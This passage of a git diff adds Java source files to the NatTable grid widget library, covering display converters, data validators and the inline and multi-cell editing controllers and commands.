SimpleDateFormat(dateFormat); + } + + /** + * Convert {@link Date} to {@link String} using the default format from {@link SimpleDateFormat} + */ + public DefaultDateDisplayConverter() { + this.dateFormat = new SimpleDateFormat(); + } + + public Object canonicalToDisplayValue(Object canonicalValue) { + try { + if (ObjectUtils.isNotNull(canonicalValue)) { + return dateFormat.format(canonicalValue); + } + } catch (Exception e) { + e.printStackTrace(System.err); + } + return canonicalValue; + } + + public Object displayToCanonicalValue(Object displayValue) { + try { + return dateFormat.parse(displayValue.toString()); + } catch (Exception e) { + e.printStackTrace(System.err); + } + return displayValue; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDisplayConverter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDisplayConverter.java new file mode 100644 index 0000000..0181e80 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDisplayConverter.java @@ -0,0 +1,17 @@ +package net.sourceforge.nattable.data.convert; + + +public class DefaultDisplayConverter implements IDisplayConverter { + + public Object canonicalToDisplayValue(Object sourceValue) { + return sourceValue != null ? sourceValue.toString() : ""; + } + + public Object displayToCanonicalValue(Object destinationValue) { + if (destinationValue == null || destinationValue.toString().length() == 0){ + return null; + } else { + return destinationValue.toString(); + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDoubleDisplayConverter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDoubleDisplayConverter.java new file mode 100644 index 0000000..9c46e49 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDoubleDisplayConverter.java @@ -0,0 +1,32 @@ +package net.sourceforge.nattable.data.convert; + +import static net.sourceforge.nattable.util.ObjectUtils.isNotEmpty; +import static net.sourceforge.nattable.util.ObjectUtils.isNotNull; + +/** + * Converts the display value to a double and vice versa. + */ +public class DefaultDoubleDisplayConverter implements IDisplayConverter { + + public Object canonicalToDisplayValue(Object canonicalValue) { + try { + if (isNotNull(canonicalValue)) { + return canonicalValue.toString(); + } + return null; + } catch (Exception e) { + return canonicalValue; + } + } + + public Object displayToCanonicalValue(Object displayValue) { + try { + if (isNotNull(displayValue) && isNotEmpty(displayValue.toString())) { + return Double.valueOf(displayValue.toString()); + } + return null; + } catch (Exception e) { + return displayValue; + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/IDisplayConverter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/IDisplayConverter.java new file mode 100644 index 0000000..bed396f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/IDisplayConverter.java @@ -0,0 +1,27 @@ +package net.sourceforge.nattable.data.convert; + +/** + * Converts between two different data representations. + * + * The normal data representation is known as the canonical representation + * The representation displayed on the UI is called the display representation. + * + * For example, the canonical representation might be a Date object, + * whereas the target representation could be a formatted String. + */ +public interface IDisplayConverter { + + /** + * Convert backing data value -> value to be displayed
    + * Typically converted to a String for display. + */ + public Object canonicalToDisplayValue(Object canonicalValue); + + /** + * Convert from display value -> value in the backing data structure
    + * NOTE: The type the display value is converted to must match the type + * in the setter of the backing bean/row object + */ + public Object displayToCanonicalValue(Object displayValue); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/PercentageDisplayConverter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/PercentageDisplayConverter.java new file mode 100644 index 0000000..4987095 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/PercentageDisplayConverter.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.data.convert; + + +public class PercentageDisplayConverter implements IDisplayConverter { + + public Object canonicalToDisplayValue(Object canonicalValue) { + double percentageValue = ((Double) canonicalValue).doubleValue(); + int displayInt = (int) (percentageValue * 100); + return String.valueOf(displayInt) + "%"; + } + + public Object displayToCanonicalValue(Object displayValue) { + String displayString = (String) displayValue; + displayString = displayString.trim(); + if (displayString.endsWith("%")) { + displayString = displayString.substring(0, displayString.length() - 1); + } + displayString = displayString.trim(); + int displayInt = Integer.valueOf(displayString).intValue(); + double percentageValue = (double) displayInt / 100; + return Double.valueOf(percentageValue); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/DefaultDataValidator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/DefaultDataValidator.java new file mode 100644 index 0000000..fe44da0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/DefaultDataValidator.java @@ -0,0 +1,10 @@ +package net.sourceforge.nattable.data.validate; + + +public class DefaultDataValidator implements IDataValidator { + + public boolean validate(int columnIndex, int rowIndex, Object newValue) { + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/DefaultNumericDataValidator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/DefaultNumericDataValidator.java new file mode 100644 index 0000000..cdccaeb --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/DefaultNumericDataValidator.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.data.validate; + + +public class DefaultNumericDataValidator implements IDataValidator { + + public boolean validate(int columnIndex, int rowIndex, Object newValue) { + try { + new Double(newValue.toString()); + } catch (Exception e) { + return false; + } + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/IDataValidator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/IDataValidator.java new file mode 100644 index 0000000..95be728 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/validate/IDataValidator.java @@ -0,0 +1,39 @@ +package net.sourceforge.nattable.data.validate; + +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.edit.editor.TextCellEditor; + +public interface IDataValidator { + + /** + * + * @param columnIndex Index of the colunm being validated + * @param rowIndex Index of the row being validated + * @param newValue Value entered through the edit control text box, combo box etc. + * Note: In case of the {@link TextCellEditor} the text typed in by the user + * will be converted to the canonical value using the {@link IDisplayConverter} + * before it hits this method + * + * @see IDataProvider#getDataValue(int, int) + * + * @return true is newValue is valid. False otherwise. + */ + public boolean validate(int columnIndex, int rowIndex, Object newValue); + + public static final IDataValidator ALWAYS_VALID = new IDataValidator() { + + public boolean validate(int columnIndex, int rowIndex, Object newValue) { + return true; + } + + }; + + public static final IDataValidator NEVER_VALID = new IDataValidator() { + + public boolean validate(int columnIndex, int rowIndex, Object newValue) { + return false; + } + + }; +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/ActiveCellEditor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/ActiveCellEditor.java new file mode 100644 index 0000000..2c6ddd6 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/ActiveCellEditor.java @@ -0,0 +1,113 @@ +package net.sourceforge.nattable.edit; + +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.style.IStyle; + +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +public class ActiveCellEditor { + + private static ICellEditor cellEditor; + private static ICellEditHandler editHandler; + private static IDataValidator dataValidator; + private static Control activeCellEditorControl; + private static int columnPosition = -1; + private static int rowPosition = -1; + private static int columnIndex = -1; + private static int rowIndex = -1; + + public static void activate(ICellEditor cellEditor, Composite parent, Object originalCanonicalValue, Character initialEditValue, IDisplayConverter displayConverter, IStyle cellStyle, IDataValidator dataValidator, ICellEditHandler editHandler, int columnPosition, int rowPosition, int columnIndex, int rowIndex) { + close(); + + ActiveCellEditor.cellEditor = cellEditor; + ActiveCellEditor.editHandler = editHandler; + ActiveCellEditor.dataValidator = dataValidator; + ActiveCellEditor.columnPosition = columnPosition; + ActiveCellEditor.rowPosition = rowPosition; + ActiveCellEditor.columnIndex = columnIndex; + ActiveCellEditor.rowIndex = rowIndex; + + activeCellEditorControl = cellEditor.activateCell(parent, originalCanonicalValue, initialEditValue, displayConverter, cellStyle, dataValidator, editHandler, columnIndex, rowIndex); + } + + public static void commit() { + if (isValid() && validateCanonicalValue()) { + editHandler.commit(MoveDirectionEnum.NONE, true); + } + close(); + } + + public static void close() { + if (cellEditor != null && !cellEditor.isClosed()) { + cellEditor.close(); + } + cellEditor = null; + + editHandler = null; + + dataValidator = null; + + if (activeCellEditorControl != null && !activeCellEditorControl.isDisposed()) { + activeCellEditorControl.dispose(); + } + activeCellEditorControl = null; + + columnPosition = -1; + rowPosition = -1; + columnIndex = -1; + rowIndex = -1; + } + + public static ICellEditor getCellEditor() { + return cellEditor; + } + + public static Control getControl() { + if (isValid()) { + return activeCellEditorControl; + } else { + return null; + } + } + + public static int getColumnPosition() { + return columnPosition; + } + + public static int getRowPosition() { + return rowPosition; + } + + public static int getColumnIndex() { + return columnIndex; + } + + public static int getRowIndex() { + return rowIndex; + } + + public static Object getCanonicalValue() { + if (isValid()) { + return cellEditor.getCanonicalValue(); + } else { + return null; + } + } + + public static boolean validateCanonicalValue() { + if (dataValidator != null) { + return dataValidator.validate(columnIndex, rowIndex, getCanonicalValue()); + } else { + return true; + } + } + + public static boolean isValid() { + return cellEditor != null && !cellEditor.isClosed(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/EditConfigAttributes.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/EditConfigAttributes.java new file mode 100644 index 0000000..2869a50 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/EditConfigAttributes.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.edit; + +import net.sourceforge.nattable.config.IEditableRule; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.style.ConfigAttribute; + +public interface EditConfigAttributes { + + public static final ConfigAttribute CELL_EDITABLE_RULE = new ConfigAttribute(); + + public static final ConfigAttribute CELL_EDITOR = new ConfigAttribute(); + + public static final ConfigAttribute DATA_VALIDATOR = new ConfigAttribute(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/EditTypeEnum.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/EditTypeEnum.java new file mode 100644 index 0000000..4a346cd --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/EditTypeEnum.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.edit; + +public enum EditTypeEnum { + + SET, + INCREASE, + DECREASE + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/ICellEditHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/ICellEditHandler.java new file mode 100644 index 0000000..d7d6632 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/ICellEditHandler.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.edit; + +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +/** + * Handles the updating of the data bean with the new value provided
    + * by the {@link ICellEditor} + */ +public interface ICellEditHandler { + + /** + * Commit the new value.
    + * + * @param direction to move the selection after the commit.
    + * Example: when TAB key is pressed, we commit and move the selection. + * @return TRUE if the data source was successfully updated + */ + public boolean commit(MoveDirectionEnum direction, boolean closeEditorAfterCommit); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/InlineCellEditController.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/InlineCellEditController.java new file mode 100644 index 0000000..93c9c4a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/InlineCellEditController.java @@ -0,0 +1,123 @@ +package net.sourceforge.nattable.edit; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.selection.event.CellSelectionEvent; +import net.sourceforge.nattable.style.CellStyleProxy; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.IStyle; + +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +public class InlineCellEditController { + + private static Map layerListenerMap = new HashMap(); + + public static boolean editCellInline(LayerCell cell, Character initialEditValue, Composite parent, IConfigRegistry configRegistry) { + try { + ActiveCellEditor.commit(); + + final List configLabels = cell.getConfigLabels().getLabels(); + Rectangle cellBounds = cell.getBounds(); + + ILayer layer = cell.getLayer(); + + int columnPosition = layer.getColumnPositionByX(cellBounds.x); + int columnIndex = layer.getColumnIndexByPosition(columnPosition); + int rowPosition = layer.getRowPositionByY(cellBounds.y); + int rowIndex = layer.getRowIndexByPosition(rowPosition); + + boolean editable = configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, DisplayMode.EDIT, configLabels).isEditable(columnIndex, rowIndex); + if (!editable) { + return false; + } + + ICellEditor cellEditor = configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITOR, DisplayMode.EDIT, configLabels); + IDisplayConverter displayConverter = configRegistry.getConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, DisplayMode.EDIT, configLabels); + IStyle cellStyle = new CellStyleProxy(configRegistry, DisplayMode.EDIT, configLabels); + IDataValidator dataValidator = configRegistry.getConfigAttribute(EditConfigAttributes.DATA_VALIDATOR, DisplayMode.EDIT, configLabels); + + ICellEditHandler editHandler = new SingleEditHandler( + cellEditor, + layer, + columnPosition, + rowPosition); + + final Rectangle editorBounds = layer.getLayerPainter().adjustCellBounds(new Rectangle(cellBounds.x, cellBounds.y, cellBounds.width, cellBounds.height)); + + Object originalCanonicalValue = cell.getDataValue(); + + ActiveCellEditor.activate(cellEditor, parent, originalCanonicalValue, initialEditValue, displayConverter, cellStyle, dataValidator, editHandler, columnPosition, rowPosition, columnIndex, rowIndex); + Control editorControl = ActiveCellEditor.getControl(); + + if (editorControl != null) { + editorControl.setBounds(editorBounds); + ILayerListener layerListener = layerListenerMap.get(layer); + if (layerListener == null) { + layerListener = new InlineCellEditLayerListener(layer); + layerListenerMap.put(layer, layerListener); + + layer.addLayerListener(layerListener); + } + } + } catch (Exception e) { + if(cell == null){ + System.err.println("Cell being edited is no longer available. " + "Character: " + initialEditValue); + } else { + System.err.println("Error while editing cell (inline): " + "Cell: " + cell + "; Character: " + initialEditValue); + e.printStackTrace(System.err); + } + } + + return true; + } + + public static void dispose() { + layerListenerMap.clear(); + } + + static class InlineCellEditLayerListener implements ILayerListener { + + private final ILayer layer; + + InlineCellEditLayerListener(ILayer layer) { + this.layer = layer; + } + + public void handleLayerEvent(ILayerEvent event) { +// if (ActiveCellEditor.isValid()) { +// int editorColumnPosition = ActiveCellEditor.getColumnPosition(); +// int editorRowPosition = ActiveCellEditor.getRowPosition(); +// int editorColumnIndex = ActiveCellEditor.getColumnIndex(); +// int editorRowIndex = ActiveCellEditor.getRowIndex(); +// Control editorControl = ActiveCellEditor.getControl(); +// +// int columnIndex = layer.getColumnIndexByPosition(editorColumnPosition); +// int rowIndex = layer.getRowIndexByPosition(editorRowPosition); +// +// if (columnIndex != editorColumnIndex || rowIndex != editorRowIndex) { +// ActiveCellEditor.close(); +// } else if (editorControl != null && !editorControl.isDisposed()) { +// Rectangle cellBounds = layer.getBoundsByPosition(editorColumnPosition, editorRowPosition); +// Rectangle adjustedCellBounds = layer.getLayerPainter().adjustCellBounds(cellBounds); +// editorControl.setBounds(adjustedCellBounds); +// } +// } + } + + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/MultiCellEditController.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/MultiCellEditController.java new file mode 100644 index 0000000..46f2dd5 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/MultiCellEditController.java @@ -0,0 +1,99 @@ +package net.sourceforge.nattable.edit; + +import java.util.List; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.command.EditUtils; +import net.sourceforge.nattable.edit.command.UpdateDataCommand; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.edit.event.InlineCellEditEvent; +import net.sourceforge.nattable.edit.gui.MultiCellEditDialog; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.style.CellStyleProxy; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.tickupdate.ITickUpdateHandler; +import net.sourceforge.nattable.tickupdate.TickUpdateConfigAttributes; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.swt.widgets.Composite; + +public class MultiCellEditController { + + public static boolean editSelectedCells(SelectionLayer selectionLayer, Character initialEditValue, Composite parent, IConfigRegistry configRegistry) { + LayerCell lastSelectedCell = EditUtils.getLastSelectedCell(selectionLayer); + + // IF cell is selected + if (lastSelectedCell != null) { + final List lastSelectedCellLabelsArray = lastSelectedCell.getConfigLabels().getLabels(); + + PositionCoordinate[] selectedCells = selectionLayer.getSelectedCells(); + // AND selected cell count > 1 + if (selectedCells.length > 1) { + + ICellEditor lastSelectedCellEditor = configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITOR, DisplayMode.EDIT, lastSelectedCellLabelsArray); + + // AND all selected cells are of the same editor type + // AND all selected cells are editable + if (EditUtils.isEditorSame(selectionLayer, configRegistry, lastSelectedCellEditor) + && EditUtils.allCellsEditable(selectionLayer, configRegistry)) { + + // THEN use multi commit handler and populate editor in popup + ICellEditor cellEditor = configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITOR, DisplayMode.EDIT, lastSelectedCellLabelsArray); + IDisplayConverter dataTypeConverter = configRegistry.getConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, DisplayMode.EDIT, lastSelectedCellLabelsArray); + IStyle cellStyle = new CellStyleProxy(configRegistry, DisplayMode.EDIT, lastSelectedCellLabelsArray); + IDataValidator dataValidator = configRegistry.getConfigAttribute(EditConfigAttributes.DATA_VALIDATOR, DisplayMode.EDIT, lastSelectedCellLabelsArray); + + Object originalCanonicalValue = lastSelectedCell.getDataValue(); + for (PositionCoordinate selectedCell : selectedCells) { + Object cellValue = selectionLayer.getCellByPosition(selectedCell.columnPosition, selectedCell.rowPosition).getDataValue(); + if (!cellValue.equals(originalCanonicalValue)) { + originalCanonicalValue = null; + break; + } + } + + ITickUpdateHandler tickUpdateHandler = configRegistry.getConfigAttribute(TickUpdateConfigAttributes.UPDATE_HANDLER, DisplayMode.EDIT, lastSelectedCellLabelsArray); + boolean allowIncrementDecrement = tickUpdateHandler != null && tickUpdateHandler.isApplicableFor(originalCanonicalValue); + + MultiCellEditDialog dialog = new MultiCellEditDialog(parent.getShell(), cellEditor, dataTypeConverter, cellStyle, dataValidator, originalCanonicalValue, initialEditValue, allowIncrementDecrement); + + int returnValue = dialog.open(); + + ActiveCellEditor.close(); + + if (returnValue == Dialog.OK) { + Object editorValue = dialog.getEditorValue(); + Object newValue = editorValue; + + if (allowIncrementDecrement) { + switch (dialog.getEditType()) { + case INCREASE: + newValue = tickUpdateHandler.getIncrementedValue(originalCanonicalValue); + break; + case DECREASE: + newValue = tickUpdateHandler.getDecrementedValue(originalCanonicalValue); + break; + } + } + + for (PositionCoordinate selectedCell : selectedCells) { + selectionLayer.doCommand(new UpdateDataCommand(selectionLayer, selectedCell.columnPosition, selectedCell.rowPosition, newValue)); + } + } + } + } else { + // ELSE use single commit handler and populate editor inline in cell rectangle + selectionLayer.fireLayerEvent(new InlineCellEditEvent(selectionLayer, new PositionCoordinate(selectionLayer, lastSelectedCell.getColumnPosition(), lastSelectedCell.getRowPosition()), parent, configRegistry, initialEditValue)); + } + return true; + } + return false; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/SingleEditHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/SingleEditHandler.java new file mode 100644 index 0000000..108e71c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/SingleEditHandler.java @@ -0,0 +1,45 @@ +package net.sourceforge.nattable.edit; + +import net.sourceforge.nattable.edit.command.UpdateDataCommand; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +public class SingleEditHandler implements ICellEditHandler { + + private final ICellEditor cellEditor; + private final ILayer layer; + private final int columnPosition; + private final int rowPosition; + + public SingleEditHandler(ICellEditor cellEditor, ILayer layer, int columnPosition, int rowPosition) { + this.cellEditor = cellEditor; + this.layer = layer; + this.columnPosition = columnPosition; + this.rowPosition = rowPosition; + } + + /** + * {@inheritDoc} + * Note: Assumes that the value is valid.
    + */ + public boolean commit(MoveDirectionEnum direction, boolean closeEditorAfterCommit) { + Object canonicalValue = cellEditor.getCanonicalValue(); + switch (direction) { + case LEFT: + layer.doCommand(new MoveSelectionCommand(MoveDirectionEnum.LEFT, 1, false, false)); + break; + case RIGHT: + layer.doCommand(new MoveSelectionCommand(MoveDirectionEnum.RIGHT, 1, false, false)); + break; + } + boolean committed = layer.doCommand(new UpdateDataCommand(layer, columnPosition, rowPosition, canonicalValue)); + if(committed && closeEditorAfterCommit){ + cellEditor.close(); + return true; + } + return committed; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/CellEditDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/CellEditDragMode.java new file mode 100644 index 0000000..0c4d2be --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/CellEditDragMode.java @@ -0,0 +1,51 @@ +package net.sourceforge.nattable.edit.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.edit.command.EditCellCommand; +import net.sourceforge.nattable.selection.action.CellSelectionDragMode; + +import org.eclipse.swt.events.MouseEvent; + +public class CellEditDragMode extends CellSelectionDragMode { + + private int originalColumnPosition; + + private int originalRowPosition; + + public void mouseDown(NatTable natTable, MouseEvent event) { + super.mouseDown(natTable, event); + + originalColumnPosition = natTable.getColumnPositionByX(event.x); + originalRowPosition = natTable.getRowPositionByY(event.y); + } + + @Override + public void mouseMove(NatTable natTable, MouseEvent event) { + super.mouseMove(natTable, event); + + int columnPosition = natTable.getColumnPositionByX(event.x); + int rowPosition = natTable.getRowPositionByY(event.y); + + if (columnPosition != originalColumnPosition || rowPosition != originalRowPosition) { + // Left original cell, cancel edit + originalColumnPosition = -1; + originalRowPosition = -1; + } + } + + public void mouseUp(NatTable natTable, MouseEvent event) { + super.mouseUp(natTable, event); + + int columnPosition = natTable.getColumnPositionByX(event.x); + int rowPosition = natTable.getRowPositionByY(event.y); + + if (columnPosition == originalColumnPosition && rowPosition == originalRowPosition) { + natTable.doCommand( + new EditCellCommand( + natTable, + natTable.getConfigRegistry(), + natTable.getCellByPosition(columnPosition, rowPosition))); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/KeyEditAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/KeyEditAction.java new file mode 100644 index 0000000..74ef1f9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/KeyEditAction.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.edit.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.edit.command.EditSelectionCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; +import net.sourceforge.nattable.ui.matcher.LetterOrDigitKeyEventMatcher; + +import org.eclipse.swt.events.KeyEvent; + +public class KeyEditAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + Character character = null; + if (LetterOrDigitKeyEventMatcher.isLetterOrDigit(event.character)) { + character = Character.valueOf(event.character); + } + natTable.doCommand(new EditSelectionCommand(natTable, natTable.getConfigRegistry(), character)); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/MouseEditAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/MouseEditAction.java new file mode 100644 index 0000000..860a0d4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/action/MouseEditAction.java @@ -0,0 +1,28 @@ +package net.sourceforge.nattable.edit.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.edit.command.EditCellCommand; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.ui.action.IMouseAction; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseEvent; + +public class MouseEditAction implements IMouseAction { + + public void run(NatTable natTable, MouseEvent event) { + int columnPosition = natTable.getColumnPositionByX(event.x); + int rowPosition = natTable.getRowPositionByY(event.y); + + boolean withShiftMask = (event.stateMask & SWT.SHIFT) != 0; + boolean withCtrlMask = (event.stateMask & SWT.CTRL) != 0; + + natTable.doCommand(new SelectCellCommand(natTable, columnPosition, rowPosition, withShiftMask, withCtrlMask)); + + natTable.doCommand( + new EditCellCommand( + natTable, + natTable.getConfigRegistry(), + natTable.getCellByPosition(columnPosition, rowPosition))); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditCellCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditCellCommand.java new file mode 100644 index 0000000..ddcb02e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditCellCommand.java @@ -0,0 +1,33 @@ +package net.sourceforge.nattable.edit.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; + +import org.eclipse.swt.widgets.Composite; + +public class EditCellCommand extends AbstractContextFreeCommand { + + private final IConfigRegistry configRegistry; + private final Composite parent; + private LayerCell cell; + + public EditCellCommand(Composite parent, IConfigRegistry configRegistry, LayerCell cell) { + this.configRegistry = configRegistry; + this.parent = parent; + this.cell = cell; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public Composite getParent() { + return parent; + } + + public LayerCell getCell() { + return cell; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditCellCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditCellCommandHandler.java new file mode 100644 index 0000000..528b6a2 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditCellCommandHandler.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.edit.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.edit.InlineCellEditController; +import net.sourceforge.nattable.layer.cell.LayerCell; + +import org.eclipse.swt.widgets.Composite; + +public class EditCellCommandHandler extends AbstractLayerCommandHandler { + + public Class getCommandClass() { + return EditCellCommand.class; + } + + @Override + public boolean doCommand(EditCellCommand command) { + LayerCell cell = command.getCell(); + Composite parent = command.getParent(); + IConfigRegistry configRegistry = command.getConfigRegistry(); + + + return InlineCellEditController.editCellInline(cell, null, parent, configRegistry); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditSelectionCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditSelectionCommand.java new file mode 100644 index 0000000..ece0ee4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditSelectionCommand.java @@ -0,0 +1,34 @@ +package net.sourceforge.nattable.edit.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; +import net.sourceforge.nattable.config.IConfigRegistry; + +import org.eclipse.swt.widgets.Composite; + +public class EditSelectionCommand extends AbstractContextFreeCommand { + + private final IConfigRegistry configRegistry; + + private final Character character; + + private final Composite parent; + + public EditSelectionCommand(Composite parent, IConfigRegistry configRegistry, Character character) { + this.parent = parent; + this.configRegistry = configRegistry; + this.character = character; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public Character getCharacter() { + return character; + } + + public Composite getParent() { + return parent; + } + +} diff --git 